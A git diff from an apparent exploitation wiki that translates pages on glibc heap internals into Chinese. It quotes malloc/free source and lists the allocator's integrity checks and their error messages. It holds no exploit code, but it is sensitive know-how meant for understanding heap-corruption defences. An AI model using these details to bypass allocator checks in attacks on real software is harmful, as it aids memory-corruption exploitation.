- malloc_printerr ("free(): too many chunks detected in tcache");
- if (__glibc_unlikely (!aligned_OK (tmp)))
- malloc_printerr ("free(): unaligned chunk detected in tcache 2");
- if (tmp == e)
- malloc_printerr ("free(): double free detected in tcache 2");
- /* If we get here, it was a coincidence. We've wasted a
- few cycles, but don't abort. */
- }
- }
+/* This test succeeds on double free. However, we don't 100%
+trust it (it also matches random payload data at a 1 in
+2^ chance), so verify it's not an unlikely
+coincidence before aborting. */
+if (__glibc_unlikely (e->key == tcache_key))
+{
+tcache_entry *tmp;
+size_t cnt = 0;
+LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+for (tmp = tcache->entries[tc_idx];
+tmp;
+tmp = REVEAL_PTR (tmp->next), ++cnt)
+{
+if (cnt >= mp_.tcache_count)
+malloc_printerr ("free(): too many chunks detected in tcache");
+if (__glibc_unlikely (!aligned_OK (tmp)))
+malloc_printerr ("free(): unaligned chunk detected in tcache 2");
+if (tmp == e)
+malloc_printerr ("free(): double free detected in tcache 2");
+/* If we get here, it was a coincidence. We've wasted a
+few cycles, but don't abort. */
+}
+}
- if (tcache->counts[tc_idx] < mp_.tcache_count)
- {
- tcache_put (p, tc_idx);
- return;
- }
- }
- }
+if (tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (p, tc_idx);
+return;
+}
+}
+}
#endif
```
-
### \_int_free fast bin
-Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
+首先检查大小是否适合 fast bin,并检查是否可以将其设置靠近顶部块。
-Then, add the freed chunk at the top of the fast bin while performing some checks:
+然后,在执行一些检查的同时,将释放的块添加到 fast bin 的顶部:
-- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
-- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
-- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
+- 如果块的大小无效(太大或太小),触发:`free(): invalid next size (fast)`
+- 如果添加的块已经是 fast bin 的顶部:`double free or corruption (fasttop)`
+- 如果顶部块的大小与我们添加的块的大小不同:`invalid fastbin entry (free)`
_int_free Fast Bin
-
```c
- // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
- /*
- If eligible, place chunk on a fastbin so it can be found
- and used quickly in malloc.
- */
+/*
+If eligible, place chunk on a fastbin so it can be found
+and used quickly in malloc.
+*/
- if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
- /*
- If TRIM_FASTBINS set, don't place chunks
- bordering top into fastbins
- */
- && (chunk_at_offset(p, size) != av->top)
+/*
+If TRIM_FASTBINS set, don't place chunks
+bordering top into fastbins
+*/
+&& (chunk_at_offset(p, size) != av->top)
#endif
- ) {
+) {
- if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
- <= CHUNK_HDR_SZ, 0)
- || __builtin_expect (chunksize (chunk_at_offset (p, size))
- >= av->system_mem, 0))
- {
- bool fail = true;
- /* We might not have a lock at this point and concurrent modifications
- of system_mem might result in a false positive. Redo the test after
- getting the lock. */
- if (!have_lock)
- {
- __libc_lock_lock (av->mutex);
- fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
- || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
- __libc_lock_unlock (av->mutex);
- }
+if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
+<= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (chunksize (chunk_at_offset (p, size))
+>= av->system_mem, 0))
+{
+bool fail = true;
+/* We might not have a lock at this point and concurrent modifications
+of system_mem might result in a false positive. Redo the test after
+getting the lock. */
+if (!have_lock)
+{
+__libc_lock_lock (av->mutex);
+fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
+|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
+__libc_lock_unlock (av->mutex);
+}
- if (fail)
- malloc_printerr ("free(): invalid next size (fast)");
- }
+if (fail)
+malloc_printerr ("free(): invalid next size (fast)");
+}
- free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
- atomic_store_relaxed (&av->have_fastchunks, true);
- unsigned int idx = fastbin_index(size);
- fb = &fastbin (av, idx);
+atomic_store_relaxed (&av->have_fastchunks, true);
+unsigned int idx = fastbin_index(size);
+fb = &fastbin (av, idx);
- /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
- mchunkptr old = *fb, old2;
+/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
+mchunkptr old = *fb, old2;
- if (SINGLE_THREAD_P)
- {
- /* Check that the top of the bin is not the record we are going to
- add (i.e., double free). */
- if (__builtin_expect (old == p, 0))
- malloc_printerr ("double free or corruption (fasttop)");
- p->fd = PROTECT_PTR (&p->fd, old);
- *fb = p;
- }
- else
- do
- {
- /* Check that the top of the bin is not the record we are going to
- add (i.e., double free). */
- if (__builtin_expect (old == p, 0))
- malloc_printerr ("double free or corruption (fasttop)");
- old2 = old;
- p->fd = PROTECT_PTR (&p->fd, old);
- }
- while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
- != old2);
+if (SINGLE_THREAD_P)
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free). */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+p->fd = PROTECT_PTR (&p->fd, old);
+*fb = p;
+}
+else
+do
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free). */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+old2 = old;
+p->fd = PROTECT_PTR (&p->fd, old);
+}
+while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
+!= old2);
- /* Check that size of fastbin chunk at the top is the same as
- size of the chunk that we are adding. We can dereference OLD
- only if we have the lock, otherwise it might have already been
- allocated again. */
- if (have_lock && old != NULL
- && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
- malloc_printerr ("invalid fastbin entry (free)");
- }
+/* Check that size of fastbin chunk at the top is the same as
+size of the chunk that we are adding. We can dereference OLD
+only if we have the lock, otherwise it might have already been
+allocated again. */
+if (have_lock && old != NULL
+&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
+malloc_printerr ("invalid fastbin entry (free)");
+}
```
-
### \_int_free finale
-If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
+如果该块尚未在任何 bin 上分配,请调用 `_int_free_merge_chunk`
_int_free finale
-
```c
/*
- Consolidate other non-mmapped chunks as they arrive.
- */
+Consolidate other non-mmapped chunks as they arrive.
+*/
- else if (!chunk_is_mmapped(p)) {
+else if (!chunk_is_mmapped(p)) {
- /* If we're single-threaded, don't lock the arena. */
- if (SINGLE_THREAD_P)
- have_lock = true;
+/* If we're single-threaded, don't lock the arena. */
+if (SINGLE_THREAD_P)
+have_lock = true;
- if (!have_lock)
- __libc_lock_lock (av->mutex);
+if (!have_lock)
+__libc_lock_lock (av->mutex);
- _int_free_merge_chunk (av, p, size);
+_int_free_merge_chunk (av, p, size);
- if (!have_lock)
- __libc_lock_unlock (av->mutex);
- }
- /*
- If the chunk was allocated via mmap, release via munmap().
- */
+if (!have_lock)
+__libc_lock_unlock (av->mutex);
+}
+/*
+If the chunk was allocated via mmap, release via munmap().
+*/
- else {
- munmap_chunk (p);
- }
+else {
+munmap_chunk (p);
+}
}
```
-
## \_int_free_merge_chunk
-This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
+此函数将尝试将大小为 SIZE 字节的块 P 与其邻居合并。将结果块放入未排序的空闲链表中。
-Some checks are performed:
+执行了一些检查:
-- If the chunk is the top chunk: `double free or corruption (top)`
-- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
-- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
-- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
-- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
+- 如果块是顶块:`double free or corruption (top)`
+- 如果下一个块超出了区域的边界:`double free or corruption (out)`
+- 如果块未标记为使用(在下一个块的 `prev_inuse` 中):`double free or corruption (!prev)`
+- 如果下一个块的大小过小或过大:`free(): invalid next size (normal)`
+- 如果前一个块未被使用,它将尝试合并。但是,如果 `prev_size` 与前一个块中指示的大小不同:`corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
- resulting chunk on the appropriate bin list. P must not be on a
- bin list yet, and it can be in use. */
+resulting chunk on the appropriate bin list. P must not be on a
+bin list yet, and it can be in use. */
static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
- mchunkptr nextchunk = chunk_at_offset(p, size);
+mchunkptr nextchunk = chunk_at_offset(p, size);
- /* Lightweight tests: check whether the block is already the
- top block. */
- if (__glibc_unlikely (p == av->top))
- malloc_printerr ("double free or corruption (top)");
- /* Or whether the next chunk is beyond the boundaries of the arena. */
- if (__builtin_expect (contiguous (av)
- && (char *) nextchunk
- >= ((char *) av->top + chunksize(av->top)), 0))
- malloc_printerr ("double free or corruption (out)");
- /* Or whether the block is actually not marked used. */
- if (__glibc_unlikely (!prev_inuse(nextchunk)))
- malloc_printerr ("double free or corruption (!prev)");
+/* Lightweight tests: check whether the block is already the
+top block. */
+if (__glibc_unlikely (p == av->top))
+malloc_printerr ("double free or corruption (top)");
+/* Or whether the next chunk is beyond the boundaries of the arena. */
+if (__builtin_expect (contiguous (av)
+&& (char *) nextchunk
+>= ((char *) av->top + chunksize(av->top)), 0))
+malloc_printerr ("double free or corruption (out)");
+/* Or whether the block is actually not marked used. */
+if (__glibc_unlikely (!prev_inuse(nextchunk)))
+malloc_printerr ("double free or corruption (!prev)");
- INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
- if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
- || __builtin_expect (nextsize >= av->system_mem, 0))
- malloc_printerr ("free(): invalid next size (normal)");
+INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
+if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (nextsize >= av->system_mem, 0))
+malloc_printerr ("free(): invalid next size (normal)");
- free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
- /* Consolidate backward. */
- if (!prev_inuse(p))
- {
- INTERNAL_SIZE_T prevsize = prev_size (p);
- size += prevsize;
- p = chunk_at_offset(p, -((long) prevsize));
- if (__glibc_unlikely (chunksize(p) != prevsize))
- malloc_printerr ("corrupted size vs. prev_size while consolidating");
- unlink_chunk (av, p);
- }
+/* Consolidate backward. */
+if (!prev_inuse(p))
+{
+INTERNAL_SIZE_T prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size while consolidating");
+unlink_chunk (av, p);
+}
- /* Write the chunk header, maybe after merging with the following chunk. */
- size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
- _int_free_maybe_consolidate (av, size);
+/* Write the chunk header, maybe after merging with the following chunk. */
+size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
+_int_free_maybe_consolidate (av, size);
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 18a0a02b7..ac3e56cf0 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -1,163 +1,163 @@
-# Heap Functions Security Checks
+# 堆函数安全检查
{{#include ../../../banners/hacktricks-training.md}}
## unlink
-For more info check:
+更多信息请查看:
{{#ref}}
unlink.md
{{#endref}}
-This is a summary of the performed checks:
+这是执行检查的摘要:
-- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
- - Error message: `corrupted size vs. prev_size`
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- - Error message: `corrupted double-linked list`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- - Error message: `corrupted double-linked list (not small)`
+- 检查块的指示大小是否与下一个块中指示的 `prev_size` 相同
+- 错误信息:`corrupted size vs. prev_size`
+- 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P`
+- 错误信息:`corrupted double-linked list`
+- 如果块不小,检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P`
+- 错误信息:`corrupted double-linked list (not small)`
## \_int_malloc
-For more info check:
+更多信息请查看:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
-- **Checks during fast bin search:**
- - If the chunk is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected 2`
- - If the forward chunk is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected`
- - If the returned chunk has a size that isn't correct because of it's index in the fast bin:
- - Error message: `malloc(): memory corruption (fast)`
- - If any chunk used to fill the tcache is misaligned:
- - Error message: `malloc(): unaligned fastbin chunk detected 3`
-- **Checks during small bin search:**
- - If `victim->bk->fd != victim`:
- - Error message: `malloc(): smallbin double linked list corrupted`
-- **Checks during consolidate** performed for each fast bin chunk:
- - If the chunk is unaligned trigger:
- - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- - If the chunk has a different size that the one it should because of the index it's in:
- - Error message: `malloc_consolidate(): invalid chunk size`
- - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- - Error message: `corrupted size vs. prev_size in fastbins`
-- **Checks during unsorted bin search**:
- - If the chunk size is weird (too small or too big):
- - Error message: `malloc(): invalid size (unsorted)`
- - If the next chunk size is weird (too small or too big):
- - Error message: `malloc(): invalid next size (unsorted)`
- - If the previous size indicated by the next chunk differs from the size of the chunk:
- - Error message: `malloc(): mismatching next->prev_size (unsorted)`
- - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
- - Error message: `malloc(): unsorted double linked list corrupted`
- - As we are always checking the las one, it's fd should be pointing always to the arena struct.
- - If the next chunk isn't indicating that the previous is in use:
- - Error message: `malloc(): invalid next->prev_inuse (unsorted)`
- - If `fwd->bk_nextsize->fd_nextsize != fwd`:
- - Error message: `malloc(): largebin double linked list corrupted (nextsize)`
- - If `fwd->bk->fd != fwd`:
- - Error message: `malloc(): largebin double linked list corrupted (bk)`
-- **Checks during large bin (by index) search:**
- - `bck->fd-> bk != bck`:
- - Error message: `malloc(): corrupted unsorted chunks`
-- **Checks during large bin (next bigger) search:**
- - `bck->fd-> bk != bck`:
- - Error message: `malloc(): corrupted unsorted chunks2`
-- **Checks during Top chunk use:**
- - `chunksize(av->top) > av->system_mem`:
- - Error message: `malloc(): corrupted top size`
+- **快速 bin 搜索期间的检查:**
+- 如果块未对齐:
+- 错误信息:`malloc(): unaligned fastbin chunk detected 2`
+- 如果前向块未对齐:
+- 错误信息:`malloc(): unaligned fastbin chunk detected`
+- 如果返回的块的大小因其在快速 bin 中的索引而不正确:
+- 错误信息:`malloc(): memory corruption (fast)`
+- 如果用于填充 tcache 的任何块未对齐:
+- 错误信息:`malloc(): unaligned fastbin chunk detected 3`
+- **小 bin 搜索期间的检查:**
+- 如果 `victim->bk->fd != victim`:
+- 错误信息:`malloc(): smallbin double linked list corrupted`
+- **在每个快速 bin 块上执行的合并检查:**
+- 如果块未对齐触发:
+- 错误信息:`malloc_consolidate(): unaligned fastbin chunk detected`
+- 如果块的大小与其所在索引应有的大小不同:
+- 错误信息:`malloc_consolidate(): invalid chunk size`
+- 如果前一个块未使用且前一个块的大小与 `prev_chunk` 指示的大小不同:
+- 错误信息:`corrupted size vs. prev_size in fastbins`
+- **无序 bin 搜索期间的检查:**
+- 如果块大小异常(太小或太大):
+- 错误信息:`malloc(): invalid size (unsorted)`
+- 如果下一个块大小异常(太小或太大):
+- 错误信息:`malloc(): invalid next size (unsorted)`
+- 如果下一个块指示的前一个大小与块的大小不同:
+- 错误信息:`malloc(): mismatching next->prev_size (unsorted)`
+- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av (arena)`:
+- 错误信息:`malloc(): unsorted double linked list corrupted`
+- 由于我们始终检查最后一个,它的 fd 应始终指向 arena 结构。
+- 如果下一个块未指示前一个块正在使用:
+- 错误信息:`malloc(): invalid next->prev_inuse (unsorted)`
+- 如果 `fwd->bk_nextsize->fd_nextsize != fwd`:
+- 错误信息:`malloc(): largebin double linked list corrupted (nextsize)`
+- 如果 `fwd->bk->fd != fwd`:
+- 错误信息:`malloc(): largebin double linked list corrupted (bk)`
+- **按索引搜索大 bin 的检查:**
+- `bck->fd-> bk != bck`:
+- 错误信息:`malloc(): corrupted unsorted chunks`
+- **按下一个更大搜索大 bin 的检查:**
+- `bck->fd-> bk != bck`:
+- 错误信息:`malloc(): corrupted unsorted chunks2`
+- **在 Top chunk 使用期间的检查:**
+- `chunksize(av->top) > av->system_mem`:
+- 错误信息:`malloc(): corrupted top size`
## `tcache_get_n`
-- **Checks in `tcache_get_n`:**
- - If chunk is misaligned:
- - Error message: `malloc(): unaligned tcache chunk detected`
+- **在 `tcache_get_n` 中的检查:**
+- 如果块未对齐:
+- 错误信息:`malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
-- **Checks in `tcache_thread_shutdown`:**
- - If chunk is misaligned:
- - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
+- **在 `tcache_thread_shutdown` 中的检查:**
+- 如果块未对齐:
+- 错误信息:`tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
-- **Checks in `__libc_realloc`:**
- - If old pointer is misaligned or the size was incorrect:
- - Error message: `realloc(): invalid pointer`
+- **在 `__libc_realloc` 中的检查:**
+- 如果旧指针未对齐或大小不正确:
+- 错误信息:`realloc(): invalid pointer`
## `_int_free`
-For more info check:
+更多信息请查看:
{{#ref}}
free.md
{{#endref}}
-- **Checks during the start of `_int_free`:**
- - Pointer is aligned:
- - Error message: `free(): invalid pointer`
- - Size larger than `MINSIZE` and size also aligned:
- - Error message: `free(): invalid size`
-- **Checks in `_int_free` tcache:**
- - If there are more entries than `mp_.tcache_count`:
- - Error message: `free(): too many chunks detected in tcache`
- - If the entry is not aligned:
- - Error message: `free(): unaligned chunk detected in tcache 2`
- - If the freed chunk was already freed and is present as chunk in the tcache:
- - Error message: `free(): double free detected in tcache 2`
-- **Checks in `_int_free` fast bin:**
- - If the size of the chunk is invalid (too big or small) trigger:
- - Error message: `free(): invalid next size (fast)`
- - If the added chunk was already the top of the fast bin:
- - Error message: `double free or corruption (fasttop)`
- - If the size of the chunk at the top has a different size of the chunk we are adding:
- - Error message: `invalid fastbin entry (free)`
+- **在 `_int_free` 开始时的检查:**
+- 指针已对齐:
+- 错误信息:`free(): invalid pointer`
+- 大小大于 `MINSIZE` 且大小也已对齐:
+- 错误信息:`free(): invalid size`
+- **在 `_int_free` tcache 中的检查:**
+- 如果条目超过 `mp_.tcache_count`:
+- 错误信息:`free(): too many chunks detected in tcache`
+- 如果条目未对齐:
+- 错误信息:`free(): unaligned chunk detected in tcache 2`
+- 如果已释放的块已经被释放并作为块存在于 tcache 中:
+- 错误信息:`free(): double free detected in tcache 2`
+- **在 `_int_free` 快速 bin 中的检查:**
+- 如果块的大小无效(太大或太小)触发:
+- 错误信息:`free(): invalid next size (fast)`
+- 如果添加的块已经是快速 bin 的顶部:
+- 错误信息:`double free or corruption (fasttop)`
+- 如果顶部块的大小与我们添加的块的大小不同:
+- 错误信息:`invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
-- **Checks in `_int_free_merge_chunk`:**
- - If the chunk is the top chunk:
- - Error message: `double free or corruption (top)`
- - If the next chunk is outside of the boundaries of the arena:
- - Error message: `double free or corruption (out)`
- - If the chunk is not marked as used (in the prev_inuse from the following chunk):
- - Error message: `double free or corruption (!prev)`
- - If the next chunk has a too little size or too big:
- - Error message: `free(): invalid next size (normal)`
- - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- - Error message: `corrupted size vs. prev_size while consolidating`
+- **在 `_int_free_merge_chunk` 中的检查:**
+- 如果块是顶部块:
+- 错误信息:`double free or corruption (top)`
+- 如果下一个块超出 arena 的边界:
+- 错误信息:`double free or corruption (out)`
+- 如果块未标记为使用(在下一个块的 prev_inuse 中):
+- 错误信息:`double free or corruption (!prev)`
+- 如果下一个块的大小太小或太大:
+- 错误信息:`free(): invalid next size (normal)`
+- 如果前一个块未使用,它将尝试合并。但是,如果 `prev_size` 与前一个块指示的大小不同:
+- 错误信息:`corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
-- **Checks in `_int_free_create_chunk`:**
- - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- - Error message: `free(): corrupted unsorted chunks`
+- **在 `_int_free_create_chunk` 中的检查:**
+- 将块添加到无序 bin,检查 `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
+- 错误信息:`free(): corrupted unsorted chunks`
## `do_check_malloc_state`
-- **Checks in `do_check_malloc_state`:**
- - If misaligned fast bin chunk:
- - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
+- **在 `do_check_malloc_state` 中的检查:**
+- 如果未对齐的快速 bin 块:
+- 错误信息:`do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
-- **Checks in `malloc_consolidate`:**
- - If misaligned fast bin chunk:
- - Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- - If incorrect fast bin chunk size:
- - Error message: `malloc_consolidate(): invalid chunk size`
+- **在 `malloc_consolidate` 中的检查:**
+- 如果未对齐的快速 bin 块:
+- 错误信息:`malloc_consolidate(): unaligned fastbin chunk detected`
+- 如果快速 bin 块大小不正确:
+- 错误信息:`malloc_consolidate(): invalid chunk size`
## `_int_realloc`
-- **Checks in `_int_realloc`:**
- - Size is too big or too small:
- - Error message: `realloc(): invalid old size`
- - Size of the next chunk is too big or too small:
- - Error message: `realloc(): invalid next size`
+- **在 `_int_realloc` 中的检查:**
+- 大小太大或太小:
+- 错误信息:`realloc(): invalid old size`
+- 下一个块的大小太大或太小:
+- 错误信息:`realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 3b2ab7085..baabf2846 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -4,35 +4,34 @@
## Allocation Order Summary
-(No checks are explained in this summary and some case have been omitted for brevity)
+(此摘要中未解释任何检查,并且为了简洁省略了一些情况)
-1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc`
+1. `__libc_malloc` 尝试从 tcache 获取一个块,如果没有,则调用 `_int_malloc`
2. `_int_malloc` :
- 1. Tries to generate the arena if there isn't any
- 2. If any fast bin chunk of the correct size, use it
- 1. Fill tcache with other fast chunks
- 3. If any small bin chunk of the correct size, use it
- 1. Fill tcache with other chunks of that size
- 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin
- 5. Check the unsorted bin, use the first chunk with enough space
- 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin
- 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one)
- 3. For each chunk of smaller size checked, put it in its respective small or large bin
- 6. Check the large bin in the index of the requested size
- 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin
- 7. Check the large bins from the next indexes until the end
- 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin
- 8. If nothing is found in the previous bins, get a chunk from the top chunk
- 9. If the top chunk wasn't big enough enlarge it with `sysmalloc`
+1. 尝试生成 arena,如果没有的话
+2. 如果有任何正确大小的快速 bin 块,使用它
+1. 用其他快速块填充 tcache
+3. 如果有任何正确大小的小 bin 块,使用它
+1. 用该大小的其他块填充 tcache
+4. 如果请求的大小不适用于小 bin,将快速 bin 合并到未排序 bin
+5. 检查未排序 bin,使用第一个有足够空间的块
+1. 如果找到的块更大,则将其分割以返回一部分,并将剩余部分添加回未排序 bin
+2. 如果块的大小与请求的大小相同,则使用它填充 tcache,而不是返回它(直到 tcache 满,然后返回下一个)
+3. 对于检查的每个较小大小的块,将其放入相应的小 bin 或大 bin
+6. 检查请求大小索引中的大 bin
+1. 从第一个大于请求大小的块开始查找,如果找到则返回它并将剩余部分添加到小 bin
+7. 从下一个索引开始检查大 bin,直到结束
+1. 从下一个更大的索引检查任何块,将第一个找到的块分割以用于请求的大小,并将剩余部分添加到未排序 bin
+8. 如果在之前的 bin 中未找到任何内容,从顶部块获取一个块
+9. 如果顶部块不够大,则使用 `sysmalloc` 扩大它
## \_\_libc_malloc
-The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread.
+`malloc` 函数实际上调用 `__libc_malloc`。此函数将检查 tcache 以查看是否有任何可用的所需大小的块。如果有,它将使用它;如果没有,它将检查是否是单线程,在这种情况下,它将在主 arena 中调用 `_int_malloc`,如果不是,它将在线程的 arena 中调用 `_int_malloc`。
__libc_malloc code
-
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t
void *
__libc_malloc (size_t bytes)
{
- mstate ar_ptr;
- void *victim;
+mstate ar_ptr;
+void *victim;
- _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
- "PTRDIFF_MAX is not more than half of SIZE_MAX");
+_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
+"PTRDIFF_MAX is not more than half of SIZE_MAX");
- if (!__malloc_initialized)
- ptmalloc_init ();
+if (!__malloc_initialized)
+ptmalloc_init ();
#if USE_TCACHE
- /* int_free also calls request2size, be careful to not pad twice. */
- size_t tbytes = checked_request2size (bytes);
- if (tbytes == 0)
- {
- __set_errno (ENOMEM);
- return NULL;
- }
- size_t tc_idx = csize2tidx (tbytes);
+/* int_free also calls request2size, be careful to not pad twice. */
+size_t tbytes = checked_request2size (bytes);
+if (tbytes == 0)
+{
+__set_errno (ENOMEM);
+return NULL;
+}
+size_t tc_idx = csize2tidx (tbytes);
- MAYBE_INIT_TCACHE ();
+MAYBE_INIT_TCACHE ();
- DIAG_PUSH_NEEDS_COMMENT;
- if (tc_idx < mp_.tcache_bins
- && tcache != NULL
- && tcache->counts[tc_idx] > 0)
- {
- victim = tcache_get (tc_idx);
- return tag_new_usable (victim);
- }
- DIAG_POP_NEEDS_COMMENT;
+DIAG_PUSH_NEEDS_COMMENT;
+if (tc_idx < mp_.tcache_bins
+&& tcache != NULL
+&& tcache->counts[tc_idx] > 0)
+{
+victim = tcache_get (tc_idx);
+return tag_new_usable (victim);
+}
+DIAG_POP_NEEDS_COMMENT;
#endif
- if (SINGLE_THREAD_P)
- {
- victim = tag_new_usable (_int_malloc (&main_arena, bytes));
- assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
- &main_arena == arena_for_chunk (mem2chunk (victim)));
- return victim;
- }
+if (SINGLE_THREAD_P)
+{
+victim = tag_new_usable (_int_malloc (&main_arena, bytes));
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+&main_arena == arena_for_chunk (mem2chunk (victim)));
+return victim;
+}
- arena_get (ar_ptr, bytes);
+arena_get (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- /* Retry with another arena only if we were able to find a usable arena
- before. */
- if (!victim && ar_ptr != NULL)
- {
- LIBC_PROBE (memory_malloc_retry, 1, bytes);
- ar_ptr = arena_get_retry (ar_ptr, bytes);
- victim = _int_malloc (ar_ptr, bytes);
- }
+victim = _int_malloc (ar_ptr, bytes);
+/* Retry with another arena only if we were able to find a usable arena
+before. */
+if (!victim && ar_ptr != NULL)
+{
+LIBC_PROBE (memory_malloc_retry, 1, bytes);
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
- if (ar_ptr != NULL)
- __libc_lock_unlock (ar_ptr->mutex);
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
- victim = tag_new_usable (victim);
+victim = tag_new_usable (victim);
- assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
- ar_ptr == arena_for_chunk (mem2chunk (victim)));
- return victim;
+assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
+ar_ptr == arena_for_chunk (mem2chunk (victim)));
+return victim;
}
```
-
